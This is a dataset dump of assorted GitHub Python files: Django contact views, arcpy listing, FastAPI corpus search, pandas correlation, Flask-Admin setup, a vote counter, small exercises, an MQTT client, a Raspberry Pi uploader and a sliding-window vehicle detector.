context['status'] = 200\n context['message'] = \"successfully get\"\n\n qs = Contact.objects.none()\n qs = Contact.objects.filter(Name__startswith=query)\n qs = qs | Contact.objects.filter(Name__contains=query).exclude(Name__startswith=query)\n serializer = contactserializer(qs, many=True)\n context['count'] = qs.count()\n data = serializer.data\n context['data'] = data\n return Response(context)\n\n\n@api_view(['PUT', ])\n@permission_classes((IsAuthenticated,))\ndef markSpam(request, id):\n obj = get_object_or_404(Contact, pk=id)\n obj.Marked_by.add(request.user)\n obj.Marked_Spam_no = obj.Marked_by.count()\n obj.save()\n context = {'success': True, 'status': 200, 'message': \"successful marked spam\"}\n return Response(context)\n\n\n@api_view(['GET', ])\n@permission_classes((IsAuthenticated,))\ndef detailView(request, id):\n obj = get_object_or_404(Contact, pk=id)\n context = {}\n data = {}\n qs = obj.In_List.all()\n print(request.user)\n print(qs)\n for i in qs:\n if request.user.id == i.id:\n if obj.Registered_user:\n context['success'] = True\n context['status'] = 200\n context['message'] = \"successful get\"\n serializer = contact1serializer(obj)\n data = serializer.data\n context['data'] = data\n return Response(context)\n res = contactserializer(obj)\n context['success'] = True\n context['status'] = 200\n context['message'] = \"successful get\"\n context['data'] = res.data\n return Response(context)\n","repo_name":"HarshilShrivastava/TrueCaller-Backend","sub_path":"contact/api/v0/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"8258111002","text":"import arcpy\n\narcpy.env.overwriteOutput = True\n\narcpy.env.workspace = r\"D:\\00-Learning\\02-GisDev\\01-ArcPy\\LPA\"\n\ngdbListAll =[]\n\n# List of worspaces\nwsList = arcpy.ListWorkspaces()\n\nfor w in wsList:\n arcpy.env.workspace = w\n # List of GDB\n gdbList = arcpy.ListWorkspaces(\"\", \"FileGDB\")\n gdbListAll += gdbList\n\nprint(f\"List of geodabases:\\n{gdbListAll}\")\n\nfor gdb in gdbListAll:\n arcpy.env.workspace = gdb\n # List Feauture Classes in GDB \n print(f\"\\nFeature Classes in {gdb}:\\n{arcpy.ListFeatureClasses()}\")\n # List Feature Datasets in GDB\n print(f\"\\nFeature Datasets in {gdb}: \\n{arcpy.ListDatasets('','Feature')}\")\n fdList = arcpy.ListDatasets(\"\", \"Feature\")\n for fd in fdList:\n arcpy.env.workspace = rf\"{gdb}\\{fd}\"\n # List Feature Classes in Feature Dataset\n print(f'\\nFeature Classes in featrure dataset {fd}:\\n{arcpy.ListFeatureClasses()}')\n\nprint('\\nScript Completed')\n ","repo_name":"kosmoDeviling/StudyArcpy","sub_path":"Python/arcpy_10_Listing.py","file_name":"arcpy_10_Listing.py","file_ext":"py","file_size_in_byte":934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"37350189307","text":"inFp = None # 입력 파일\ninStr = \"\"\t\t# 읽어온 문자열\n\ninFp = open(\"C:/Temp/data1.txt\", \"r\", encoding=\"utf-8\")\n# inFp = open(\"C:/Temp/data1.txt\", \"r\")\n\nwhile True:\n inStr = inFp.readline()\n if inStr == \"\":\n break\n # end=\"\" , 전체 출력 끝부분에 정하는 옵션.공백이라서 아무것도 없음.\n #\n print(inStr, end=\"!!!!!!!!!!!!!!!!!!!!!!!!!!!\\n\")\n\ninFp.close()\n","repo_name":"lsy3709/PyTest230817","sub_path":"230821_ch05/Code05-18.py","file_name":"Code05-18.py","file_ext":"py","file_size_in_byte":405,"program_lang":"python","lang":"ko","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"12646576817","text":"import os\n\nfrom fastapi import FastAPI, Query\n\nfrom typing import List, Optional\n\nfrom RST_search import rst_search, tags_abbs, rels_abbs\n\nall_tags = [tag[1] for tag in tags_abbs]\nall_rels = [f\"{tag[1]}\" for tag in rels_abbs]\n\napp = FastAPI(\n title = \"RST corpus seach API\",\n version = '0.1.0'\n)\n\n@app.get(\n \"/search\",\n description=\"Using this method you can search for a specific Russian or English word in parallel RST corpus. You can select a POS tag for disambiguation and specify discource relations you would like to see on that word\",\n summary=\"Search a word in RST corpus\"\n)\ndef search(\n query: str = Query(\"Германия\", description=\"A Russian or English word you would like to search\"),\n tag: Optional[str] = Query(None, enum=all_tags, description=\"(Optional) POS tag of the given word \"),\n rels: Optional[List[str]] = Query(None, description=f\"(Optional) Type of discourse relation - one or multiple (logical OR) from: {', '.join(all_rels)}\")\n):\n if tag:\n tags = [tag]\n else:\n tags = None\n return rst_search(query, tags, rels)\n","repo_name":"NataKiseleva/vebdev","sub_path":"api/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"71947343271","text":"import scipy.stats as st\nimport pandas as pd\nimport numpy as np\nfrom inspectpd.inspect_object.inspect_object import inspect_object\n\ndef inspect_cor(df, method='pearson', alpha=0.05, with_col=None) :\n '''\n Tidy correlation coefficients for numeric dataframe columns.\n \n Parameters\n ----------\n \n df: A pandas dataframe.\n \n method: str, default 'pearson'\n a character string indicating which type of correlation \n coefficient to use, one of \"pearson\", \"kendall\", or \"spearman\".\n\n alpha: float, default 0.05.\n Alpha level for correlation confidence intervals. Defaults to 0.05.\n \n with_col: str, default None\n Column name to filter correlations by. Uses pandas .withcorr() under\n the hood instead of .corr(), which can save time for large data sets.\n \n Returns \n ----------\n \n A pandas dataframe with columns\n + col_1, co1_2: object \n character columns containing names of numeric columns in df1.\n + corr: float64\n columns of correlation coefficients\n + p_value: float64\n p-value associated with a test where the null hypothesis is \n that the numeric pair have 0 correlation.\n + lower, upper: float64\n lower and upper values of the confidence interval for the correlations.\n + pcnt_na: \n the number of pairs of observations that were non missing for each \n pair of columns. The correlation calculation used by .inspect_cor() \n uses only pairwise complete observations.\n '''\n df_num = df.select_dtypes('number').copy()\n if with_col is None :\n out = df_num.corr(method = method)\n # get the number of variables\n nvarb = out.shape[0]\n # unpivot the correlation matrix\n out = out.unstack().reset_index(drop = False)\n # rename columns\n out.columns = ['col_1', 'col_2', 'corr']\n # row index of off diagonal elements\n inds = [(np.arange(i + 1) + i * nvarb).tolist() for i in range(nvarb)]\n inds = [j for i in inds for j in i]\n # drop off diagonals\n out = out[~out.index.isin(inds)].reset_index(drop = True)\n else :\n out = df_num.corrwith(df_num[with_col]).reset_index(drop = False)\n out['col_2'] = with_col\n # rename columns and reorder\n out.columns = ['col_1', 'corr', 'col_2']\n out = out[['col_1', 'col_2', 'corr']]\n\n # remove self-correlations\n out = out.query('col_1 != col_2').reset_index(drop = True)\n # get pairwise non-na\n df_null = 1 - df_num.isnull().astype('int')\n nna_mat = df_null.transpose().dot(df_null)\n nna_df = nna_mat.unstack().reset_index(drop = False)\n nna_df.columns = ['col_1', 'col_2', 'nna']\n # add standard errors\n nna_df = nna_df.assign(se = (1 / np.sqrt(nna_df.nna - 3)))\n nna_df = nna_df \\\n .assign(pcnt_na = 100 * nna_df.nna / df.shape[0]) \\\n .drop('nna', axis = 1)\n # join pairwise nna to the output df\n out = out.merge(nna_df, how = 'left', on = ['col_1', 'col_2'])\n out['p_value'] = 2 * st.norm.cdf(-np.abs(out['corr'].values / out.se))\n # swicth off divide by zero error pinged by numpy with arctans\n np.seterr(all = 'ignore') \n out['lower'] = np.tanh(np.arctanh(out['corr'].values) - st.norm.ppf(1 - alpha / 2) * out.se)\n out['upper'] = np.tanh(np.arctanh(out['corr'].values) + st.norm.ppf(1 - alpha / 2) * out.se)\n np.seterr(all = 'warn') \n # sort by absolute value of corr\n out = out \\\n .assign(abs_cor = np.abs(out['corr'].values)) \\\n .sort_values('abs_cor', ascending = False) \\\n .drop(['abs_cor', 'se'], axis = 1) \\\n .reset_index(drop = True)\n # change order of output columns\n out = out[['col_1', 'col_2', 'corr', 'p_value', 'lower', 'upper', 'pcnt_na']]\n # add type attribute to output\n out = inspect_object(out, my_attr = 'inspect_cor')\n return out\n \n \n \n \n","repo_name":"alastairrushworth/inspectpd","sub_path":"inspectpd/inspect/inspect_cor.py","file_name":"inspect_cor.py","file_ext":"py","file_size_in_byte":3697,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"71"} +{"seq_id":"8324336109","text":"from flask.ext.admin import Admin, BaseView\nfrom . import video_views, import_views, user_views, ranking_views, stats_views\nfrom .base import AdminView, AdminModelView\n\n\ndef setup_admin(app):\n # init commands:\n from . import commands # NOQA\n\n subdomain = app.config.get('ADMIN_SUBDOMAIN')\n admin_name = app.config.get('ADMIN_NAME', 'Rockpack Admin')\n admin = Admin(app, endpoint='admin', subdomain=subdomain, name=admin_name)\n\n for module, category in (video_views, 'Content'), (user_views, 'Users'), (stats_views, 'Stats'):\n map(admin.add_view, sorted(\n [\n view(category=category)\n for view in module.__dict__.itervalues()\n if (isinstance(view, type) and issubclass(view, BaseView) and\n # exclude base classes:\n view not in (AdminView, AdminModelView, stats_views.StatsView, stats_views.TableStatsView) and\n not getattr(view, 'inline_model', False))\n ], key=lambda v: v.name))\n\n admin.add_view(import_views.ImportView(name='Import', endpoint='import', category='Import'))\n admin.add_view(import_views.UploadView(name='Review Uploads', endpoint='review', category='Import'))\n if app.config.get('DOLLY'):\n admin.add_view(import_views.ShareLinkView(name='Share Link Picker', endpoint='sharelinkpicker', category='Content'))\n if app.config.get('DOLLY'):\n admin.add_view(ranking_views.UserRankingView(name='Ranking', endpoint='ranking'))\n else:\n admin.add_view(ranking_views.RankingView(name='Ranking', endpoint='ranking'))\n\n # Need to import here to avoid import uninitialised google_oauth decorator\n from .auth.views import login, logout, oauth_callback\n for view in login, logout, oauth_callback:\n app.add_url_rule('%s/%s' % (admin.url, view.func_name), view.func_name, view, subdomain=subdomain)\n\n original_edit_master = (admin.index_view.blueprint.jinja_loader.load(\n app.jinja_env, 'admin/model/edit.html'))\n\n original_create_master = (admin.index_view.blueprint.jinja_loader.load(\n app.jinja_env, 'admin/model/create.html'))\n\n @app.context_processor\n def original_edit_master_template():\n return {'original_edit_master': original_edit_master}\n\n @app.context_processor\n def original_create_master_template():\n return {'original_create_master': original_create_master}\n","repo_name":"wonderpl/dolly-web","sub_path":"rockpack/mainsite/admin/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2418,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"9583463238","text":"# OS module allows you to interface with the underlying operating system that Python is running on\r\n# csv module provides various classes for reading and writing data to CSV files\r\n# shutil module offers a number of high-level operations on files and collections of files\r\nimport os\r\nimport csv\r\nimport shutil\r\n\r\n# Set the path for the CSV file in PyPollcsv\r\nPyPollcsv = os.path.join(r\"PyPoll\\resources\\election_data.csv\")\r\n\r\n# Create the variables to store data\r\ncount = 0\r\ncandidate_list = []\r\ncandidate = []\r\nvote_count = []\r\nvote_percent = []\r\n\r\n# Open the CSV using the set path from PyPollcsv\r\nwith open(PyPollcsv, newline=\"\") as csvfile:\r\n csvreader = csv.reader(csvfile, delimiter=\",\")\r\n csv_header = next(csvreader)\r\n \r\n for row in csvreader:\r\n # Count the total number of votes\r\n count = count + 1\r\n # Set the candidate names to candidate_list\r\n candidate_list.append(row[2])\r\n # Create a set from the candidate_list to get the unique candidate names\r\n for x in set(candidate_list):\r\n candidate.append(x)\r\n # v is the total number of votes per candidate\r\n v = candidate_list.count(x)\r\n vote_count.append(v)\r\n # tvc is the percent of total votes per candidate\r\n tvc = (v/count)*100\r\n vote_percent.append(tvc)\r\n \r\n winning_vote_count = max(vote_count)\r\n winner = candidate[vote_count.index(winning_vote_count)]\r\n \r\n# Printing the results\r\nprint(\"-------------------------\")\r\nprint(\"Election Results\") \r\nprint(\"-------------------------\")\r\nprint(f\"Total Votes:{count}\") \r\nprint(\"-------------------------\")\r\nfor i in range(len(candidate)):\r\n print(f\"{candidate[i]}: {round(vote_percent[i],3)}% ({vote_count[i]})\") \r\nprint(\"-------------------------\")\r\nprint(f\"The winner is: {winner}\")\r\nprint(\"-------------------------\")\r\n\r\n# Print to a text file: election_results.txt \r\n# round function allows for the control of how many decimal places are in the answer\r\nwith open('election_results.txt', 'w') as text:\r\n text.write(\"Election Results\\n\")\r\n text.write(\"---------------------------------------\\n\")\r\n text.write(f\"Total Votes: {count}\"\"\\n\")\r\n text.write(\"---------------------------------------\\n\")\r\n for i in range(len(candidate)):\r\n text.write(f\"{candidate[i]}: {round(vote_percent[i],3)}% ({vote_count[i]})\"\"\\n\")\r\n text.write(\"---------------------------------------\\n\")\r\n text.write(f\"The winner is: {winner}\"\"\\n\")\r\n text.write(\"---------------------------------------\\n\")\r\n\r\n# Moves the txt file into the analysis folder \r\nshutil.move(\"election_results.txt\", r\"PyPoll\\analysis\\election_results.txt\")","repo_name":"mward95/Python_Challenge","sub_path":"PyPoll/main_pypoll.py","file_name":"main_pypoll.py","file_ext":"py","file_size_in_byte":2687,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"18527457603","text":"# 058 Melhore o jogo do DESAFIO 028, onde o computador vai \"pensar\"\n# em um numero entre 0 e 10. Só que agora o jogador vai tentar até\n# advinhar até acertar, mostrando no final quantos palpites\n# foram necessarios.\n\n# from random import randint -> Aqui importamos apenas a função necessaria.\nimport random\nimport time\n# computador = randint(0, 10) -> # Dessa forma usamos a função abreviada\n # com a importação especifica.\ncomputador = random.randint(0, 10)\nprint('-_-' * 20)\nprint('Sou seu computador... Acabei de pensar em um numero entre 0 e 10. ')\nprint('Será que você consegue advinhar?')\nprint('-_-' * 20)\nacertou = False # A variavel recebe valor booleano negativo\npalpite = 0\nwhile not acertou: # Aqui o laço verifica se booleano é verdadeiro e repete enquanto for falso.\n jogador = int(input('Em que numero eu pensei? '))\n print('Hummm...')\n palpite += 1\n time.sleep(0.5)\n if jogador == computador:\n acertou = True # Se a condição entre jogador e computador for verdadeira,\n # A variavel acertou, recebe booleano verdadeiro e encerra o laço.\n else:\n if jogador < computador:\n print('Mais... Tente mais uma vez')\n elif jogador > computador:\n print('Menos... Tente mais uma vez. ')\nprint('Acertou com {} palpites.'.format(palpite))\n\n\n'''tentativas = 0\njogador = 0\n\nwhile jogador != computador:\n jogador = int(input('Em que numero eu pensei? '))\n tentativas += 1\n print('Processando!!!')\n time.sleep(0.5)\n if jogador < computador:\n print('Mais... Tente mais uma vez.')\n elif jogador > computador:\n print('Menos... Tente mais uma vez.')\n elif jogador == computador:\n print('Parabes!! Você tentou \\033[32m{}\\033[m vezes até acertar. '.format(tentativas))\n print('O numero que eu escolhi foi o \\033[32m{}\\033[m e voçê o \\033[32m{}\\033[m'.format(computador, jogador))\n else:\n print('Que pena, você escolheu \\033[31m{}\\033[m, e eu escolhi \\033[31m{}\\033[m'.format(jogador, computador))\n print('Tente de novo!!')'''","repo_name":"mariocarvalho-2205/python","sub_path":"058 Jogo da advinhação com while.py","file_name":"058 Jogo da advinhação com while.py","file_ext":"py","file_size_in_byte":2118,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"71"} +{"seq_id":"30990128162","text":"# -*- coding: UTF-8 -*-\nimport paho.mqtt.client as mqtt\n\ndef on_connect(client, userdata, flags, rc):\n print(\"Connected with result code \"+str(rc))\n\n client.subscribe(\"lettuce\")\n\ndef on_message(client, userdata, msg):\n print(msg.topic+\" \"+str(msg.payload))\n\nclient = mqtt.Client()\nclient.username_pw_set(\"admin\", \"123\") # 必须设置,否则会返回「Connected with result code 4」\nclient.on_connect = on_connect\nclient.on_message = on_message\n\nHOST = \"artobj.dev\"\n\nclient.connect(HOST, 1883, 60)\nclient.loop_forever()\n","repo_name":"artwebs/mqtt-demo","sub_path":"recv.py","file_name":"recv.py","file_ext":"py","file_size_in_byte":533,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"71"} +{"seq_id":"33256369580","text":"from day11.utils import increase_all, adjacent, flash\n\nwith open(\"input.txt\") as file:\n lines = list(map(lambda l: list(map(int, l)), map(list, map(str.strip, file.readlines()))))\n\n\nflashes = 0\nfor step in range(100):\n increase_all(lines)\n flashed = set()\n for y in range(len(lines)):\n for x in range(len(lines[y])):\n if lines[y][x] > 9:\n flash(x, y, lines, flashed)\n\n flashes += len(flashed)\n for x, y in flashed:\n lines[y][x] = 0\n\nprint(flashes)\n","repo_name":"akniazev/advent_of_code_2021","sub_path":"day11/day11a.py","file_name":"day11a.py","file_ext":"py","file_size_in_byte":506,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"70"} +{"seq_id":"22676664219","text":"import os, requests, json, time\nfrom uploadfunction import batch_upload\n\n# define functions\ndef get_batch_state():\n return open('/home/pi/Adafruit_Python_MCP3008/examples/batch_state.txt', 'r').read()\n\ndef update_batch_state(batch_state):\n f = open('/home/pi/Adafruit_Python_MCP3008/examples/batch_state.txt', 'w')\n f.write(batch_state) # python will convert \\n to os.linesep\n f.close()\n\nwhile True:\n\n # check batch_state, yes means currently in upload process, no means no upload is happening\n cur_batch_state = get_batch_state()\n if ('yes' in cur_batch_state):\n\n # try a new upload\n\n # reset variables\n to_upload = [];\n\n # get cur list of captured images\n cur_cam_files = os.listdir('/home/pi/Adafruit_Python_MCP3008/examples/home_security_photos')\n \n # get cur list of uploaded files\n cur_uploaded_files = open('/home/pi/Adafruit_Python_MCP3008/examples/cloud-uploaded-files.txt', \"r\").read().split(',')\n\n # compare\n for item in cur_cam_files:\n if ('.jpg' in item and '.jpg~' not in item):\n if (item not in cur_uploaded_files):\n # append to to_upload list\n to_upload.append(item)\n \n # done adding, check if there is anything new to upload\n if (len(to_upload) > 0):\n # start new upload process\n update_batch_state('no')\n # call batch upload\n batch_upload(to_upload)\n\n \n # polling\n # print('cloud upload polling...') # these get super long in the logs\n time.sleep(1)\n","repo_name":"jdc-cunningham/raspi-home-security-cam","sub_path":"ver_1/back-end/cloudupload.py","file_name":"cloudupload.py","file_ext":"py","file_size_in_byte":1601,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"70"} +{"seq_id":"37350081603","text":"#!coding:utf-8\n\nimport cv2 as cv\nimport numpy as np\nimport math\nimport time\nfrom concurrent import futures\nimport os\nimport chainer\nfrom chainer import report, training, Chain, datasets, iterators, optimizers,cuda,serializers\nimport chainer.functions as F\nimport chainer.links as L\nfrom chainer.training import extensions\nfrom chainer.datasets import tuple_dataset\nfrom datetime import datetime\nimport logging\n#from original source\nfrom make_datasets import make_bboxeslist\nfrom cnn_structure import vehicle_classify_CNN\n\nclass slidingwindow():\n def __init__(self,img,x,y,windowsize,slidestep = 0.5,efactor = 1.414,locatedistance=0.45):\n self.x = x #x:horizontal,y:vertical upper left corner\n self.y = y\n self.windowsize = windowsize\n self.slidestep = int(self.windowsize * slidestep)\n self.efactor = efactor\n self.repeat = False\n self.vehiclecover = False\n self.locatedistance = locatedistance\n self.result = None\n self.mesh_idx_x = None\n self.mesh_idx_y = None\n self.overlap = 0\n self.overlap_windows = []\n\n self.movetocentroid(img)\n self.x -= int((self.windowsize * efactor - self.windowsize)/2)\n self.y -= int((self.windowsize * efactor - self.windowsize)/2)\n self.windowsize = int(round(self.windowsize * efactor))\n self.movetocentroid(img)\n\n def movetocentroid(self,img):\n img_height,img_width = img.shape\n img_xmin,img_ymin,img_xmax,img_ymax = self.x,self.y,self.x+self.windowsize,self.y+self.windowsize\n if img_xmin < 0:img_xmin = 0\n if img_ymin < 0:img_ymin = 0\n if img_xmax > img_width:img_xmax = img_width\n if img_ymax > img_height:img_ymax = img_height\n\n centerY, centerX = calccentroid(img[img_ymin:img_ymax, img_xmin:img_xmax])\n self.x, self.y = self.x + int(centerX - (img_xmax - img_xmin) / 2), self.y + int(centerY - (img_ymax - img_ymin) / 2) # directly move to centroid\n #step = self.slidestep / math.sqrt((centerX - (img_xmax - img_xmin)/2)**2 + (centerY - (img_ymax - img_ymin)/2)**2)\n #self.x , self.y = self.x + int(centerX - (img_xmax - img_xmin)/2)*step, self.y + int(centerY - (img_ymax - img_ymin)/2)*step #move as much as slidestep\n\n def draw(self,img, flags):\n if flags == \"TESTONLY\":\n cv.rectangle(img, (self.x, self.y), (self.x + self.windowsize - 1, self.y + self.windowsize - 1),\n (150, 150, 150))\n else:\n if flags[\"FN\"]:\n if self.result == 0 and self.vehiclecover == True: #False Negative with green\n cv.rectangle(img, (self.x, self.y), (self.x + self.windowsize - 1, self.y + self.windowsize - 1),\n (0, 255, 0))\n if flags[\"TP\"]:\n if self.result == 1 and self.vehiclecover == True: #True Positive with red\n cv.rectangle(img, (self.x, self.y), (self.x+self.windowsize-1, self.y+self.windowsize-1), (0, 0, 255))\n if flags[\"FP\"]:\n if self.result == 1 and self.vehiclecover == False: #False Positive with blue\n cv.rectangle(img, (self.x, self.y), (self.x + self.windowsize - 1, self.y + self.windowsize - 1),\n (255, 0, 0))\n\n def draw_(self,img):\n cv.rectangle(img, (self.x, self.y), (self.x + self.windowsize - 1, self.y + self.windowsize - 1),\n (0, 255, 0))\n\n def windowimg(self,img): #arg:RGB image\n img_height,img_width,channnel = img.shape\n xmin = self.x\n ymin = self.y\n xmax = self.x + self.windowsize\n ymax = self.y + self.windowsize\n if xmin < 0:xmin = 0\n if ymin < 0:ymin = 0\n if xmax > img_width:xmax = img_width\n if ymax > img_height:ymax = img_height\n return cv.resize(img[ymin:ymax,xmin:xmax,:],(48,48)).transpose(2,0,1)/255.\n\n def cover(self,bbox):\n bboxcenter = bbox[0] + int((bbox[2]-bbox[0])/2),bbox[1] + int((bbox[3]-bbox[1])/2)\n windowcenter = self.x + int(self.windowsize/2),self.y + int(self.windowsize/2)\n if math.sqrt((bboxcenter[0]-windowcenter[0])**2 + (bboxcenter[1]-windowcenter[1])**2) < self.windowsize*self.locatedistance:\n self.vehiclecover = True\n return True\n else:\n return False\n\n def getCenter(self):\n self.center = self.x + int(math.ceil(self.windowsize / 2)), self.y + int(math.ceil(self.windowsize / 2))\n return self.center\n\ndef _calcgrad(img):\n grad_x = cv.Sobel(img, cv.CV_64F, 1, 0, 1)\n grad_y = cv.Sobel(img, cv.CV_64F, 0, 1, 1)\n img = grad_x**2 + grad_y**2\n img = np.sqrt(img)\n #img = img / 255\n img = img.astype(np.uint8)\n return img\n #img = np.sqrt(grad_x*grad_x + grad_y*grad_y)\n\ndef calcgrad(img):\n img_b, img_g, img_r = cv.split(img)\n img_b = _calcgrad(img_b)\n img_g = _calcgrad(img_g)\n img_r = _calcgrad(img_r)\n img = np.maximum(np.maximum(img_b, img_g), img_r)\n return img\n\ndef calccentroid(img):\n x,y = img.shape\n int_x_sum = 0\n int_y_sum = 0\n center_x = int(x/2)\n center_y = int(y/2)\n\n x_mask = np.empty(img.shape)\n y_mask = np.empty(img.shape)\n for i in range(0,x):\n x_mask[i,:] = i\n for i in range(0,y):\n y_mask[:,i] = i\n int_x_sum = (img * x_mask).sum()\n int_y_sum = (img * y_mask).sum()\n\n # for i in range(0,x):\n # for j in range(0,y):\n # int_x_sum += i * img[i,j]\n # int_y_sum += j * img[i,j]\n\n if img.sum() != 0:\n center_x = int(int_x_sum / img.sum())\n center_y = int(int_y_sum / img.sum())\n return center_x , center_y\n\ndef img_thresholding(img,threshold,direction=0):\n if direction == 0:#threshold below\n img_b, img_g, img_r = cv.split(img)\n img_b[img_b > threshold] = threshold\n img_g[img_g > threshold] = threshold\n img_r[img_r > threshold] = threshold\n img = cv.merge((img_b, img_g, img_r))\n else:#threshold from\n img_b, img_g, img_r = cv.split(img)\n img_b[img_b < threshold] = threshold\n img_g[img_g < threshold] = threshold\n img_r[img_r < threshold] = threshold\n img = cv.merge((img_b, img_g, img_r))\n return img\n\ndef makeslidingwindows(img,windowsize,slide_param,slide=0.5): #input image:grayscale\n img_height,img_width = img.shape\n slidewindows = []\n x, y = 0,0\n step = int(windowsize * slide)\n for i in range(math.ceil(img_height/step)):\n for j in range(math.ceil(img_width/step)):\n slidewindows.append(slidingwindow(img,j*step,i*step,windowsize,efactor=slide_param[\"efactor\"],locatedistance=slide_param[\"locatedistance\"]))\n return slidewindows\n\ndef getslidewindows(img,windowsize,meshsize, slide_param,overlap_sort_reverse, slide=0.5,mindistance = 0.15,thre1 = 60,thre2 = 100,searchrange = 5):\n img_thre1 = img_thresholding(img,thre1,0)\n img_thre2 = img_thresholding(img,thre2,1)\n img_org = calcgrad(img)\n img_thre1 = calcgrad(img_thre1)\n img_thre2 = calcgrad(img_thre2)\n # cv.imwrite(\"grad_orijinal.jpg\",img_org)\n # cv.imwrite(\"grad_thre1.jpg\", img_thre1)\n # cv.imwrite(\"grad_thre2.jpg\", img_thre2)\n # print(\"making sliding windows for each gradient image...\")\n # start = time.time()\n values = [img_org,img_thre1,img_thre2]\n windows1 = None\n windows2 = None\n windows3 = None\n\n multiprocess = 1 #マルチプロセス 1:有効化 ただしデバッグ使用不可\n if multiprocess == 1:\n with futures.ProcessPoolExecutor() as executor: #マルチプロセス処理\n mappings = {executor.submit(makeslidingwindows,n,windowsize,slide_param): n for n in values}\n for future in futures.as_completed(mappings):\n target = mappings[future]\n if (target == img_org).all() :windows1 = future.result()\n if (target == img_thre1).all():windows2 = future.result()\n if (target == img_thre2).all():windows3 = future.result()\n else:\n windows1 = makeslidingwindows(img_org,windowsize,slide_param) #シングルプロセス処理\n windows2 = makeslidingwindows(img_thre1,windowsize,slide_param)\n windows3 = makeslidingwindows(img_thre2,windowsize,slide_param)\n # end = time.time()\n # time_makingslides = end - start\n print(\"number of all sliding windows:\" + str(len(windows1)+len(windows2)+len(windows3)))\n # print(\"finished.(%.3f seconds)\" %time_makingslides)\n print(\"discarding repetitive images...\")\n img_height, img_width, channel = img.shape\n\n windowsize = int(round(windowsize*slide_param[\"efactor\"]))\n h_windowsize = int(math.ceil(windowsize/2))\n r_windows = windows1 + windows2 + windows3\n m_width = int(math.ceil(img_width/h_windowsize))\n m_height = int(math.ceil(img_height/h_windowsize))\n r_meshsize = m_width * m_height\n r_mesh = []\n for i in range(r_meshsize):\n r_mesh.append([])\n for i in r_windows:\n center_x = i.x + h_windowsize - 1\n center_y = i.y + h_windowsize - 1\n if center_x < 0: center_x = 0\n if center_y < 0: center_y = 0\n if center_x >= img_width: center_x = img_width - 1\n if center_y >= img_height: center_y = img_height - 1\n idx_x = int(math.floor(center_x / h_windowsize))\n idx_y = int(math.floor(center_y / h_windowsize))\n i.mesh_idx_x = idx_x\n i.mesh_idx_y = idx_y\n r_mesh[m_width * idx_y + idx_x].append(i)\n for i in r_windows:\n idx_width = [i.mesh_idx_x]\n idx_height = [i.mesh_idx_y]\n if i.mesh_idx_x != 0: idx_width.append(i.mesh_idx_x - 1)\n if i.mesh_idx_x != m_width - 1: idx_width.append(i.mesh_idx_x + 1)\n if i.mesh_idx_y != 0: idx_height.append(i.mesh_idx_y - 1)\n if i.mesh_idx_y != m_height - 1: idx_height.append(i.mesh_idx_y + 1)\n search_idx = []\n for k in idx_width:\n for l in idx_height:\n if not (k == i.mesh_idx_x and l == i.mesh_idx_y):\n search_idx.append([k,l])\n for j in r_mesh[m_width * i.mesh_idx_y + i.mesh_idx_x]:\n if i is not j:\n if math.sqrt((i.x - j.x) ** 2 + (i.y - j.y) ** 2) < windowsize * mindistance:\n i.overlap += 1\n j.overlap += 1\n i.overlap_windows.append(j)\n j.overlap_windows.append(i)\n for k in search_idx:\n for j in r_mesh[m_width * k[1] + k[0]]:\n if math.sqrt((i.x - j.x) ** 2 + (i.y - j.y) ** 2) < windowsize * mindistance:\n i.overlap += 1\n j.overlap += 1\n i.overlap_windows.append(j)\n j.overlap_windows.append(i)\n r_windows.sort(key=lambda x: x.overlap,reverse=overlap_sort_reverse)\n for i in r_windows:\n if i.repeat == False:\n for j in i.overlap_windows:\n j.repeat = True\n slidewindows = []\n for i in r_windows:\n if i.repeat == False:\n slidewindows.append(i)\n\n # step = int(windowsize * slide)\n # width = math.ceil(img_width/step)\n # height = math.ceil(img_height/step)\n # for i in range(len(windows1)):\n # posX = i % width\n # posY = int((i - posX)/width)\n # xmin,ymin,xmax,ymax = posX-searchrange,posY-searchrange,posX+searchrange,posY+searchrange\n # if xmin < 0:xmin = 0\n # if ymin <0:ymin = 0\n # if xmax >= width:xmax = width - 1\n # if ymax >= height:ymax = height - 1\n # for j in range(ymin,ymax+1):\n # for k in range(xmin,xmax+1):\n # l = j*width+k\n # if windows1[i].repeat == False:\n # if i != l:\n # if math.sqrt((windows1[i].x - windows1[l].x)**2 + (windows1[i].y - windows1[l].y)**2) < windowsize * mindistance:\n # windows1[l].repeat = True\n # if math.sqrt((windows1[i].x - windows2[l].x)**2 + (windows1[i].y - windows2[l].y)**2) < windowsize * mindistance:\n # windows2[l].repeat = True\n # if math.sqrt((windows1[i].x - windows3[l].x) ** 2 + (windows1[i].y - windows3[l].y) ** 2) < windowsize * mindistance:\n # windows3[l].repeat = True\n # if windows2[i].repeat == False:\n # if i != l:\n # if math.sqrt((windows2[i].x - windows2[l].x) ** 2 + (\n # windows2[i].y - windows2[l].y) ** 2) < windowsize * mindistance:\n # windows2[l].repeat = True\n # if math.sqrt((windows2[i].x - windows3[l].x) ** 2 + (\n # windows2[i].y - windows3[l].y) ** 2) < windowsize * mindistance:\n # windows3[l].repeat = True\n # if windows3[i].repeat == False:\n # if i != l:\n # if math.sqrt((windows3[i].x - windows3[l].x) ** 2 + (\n # windows3[i].y - windows3[l].y) ** 2) < windowsize * mindistance:\n # windows3[l].repeat = True\n # slidewindows = []\n # for i in windows1:\n # if i.repeat == False:slidewindows.append(i)\n # for i in windows2:\n # if i.repeat == False:slidewindows.append(i)\n # for i in windows3:\n # if i.repeat == False:slidewindows.append(i)\n\n 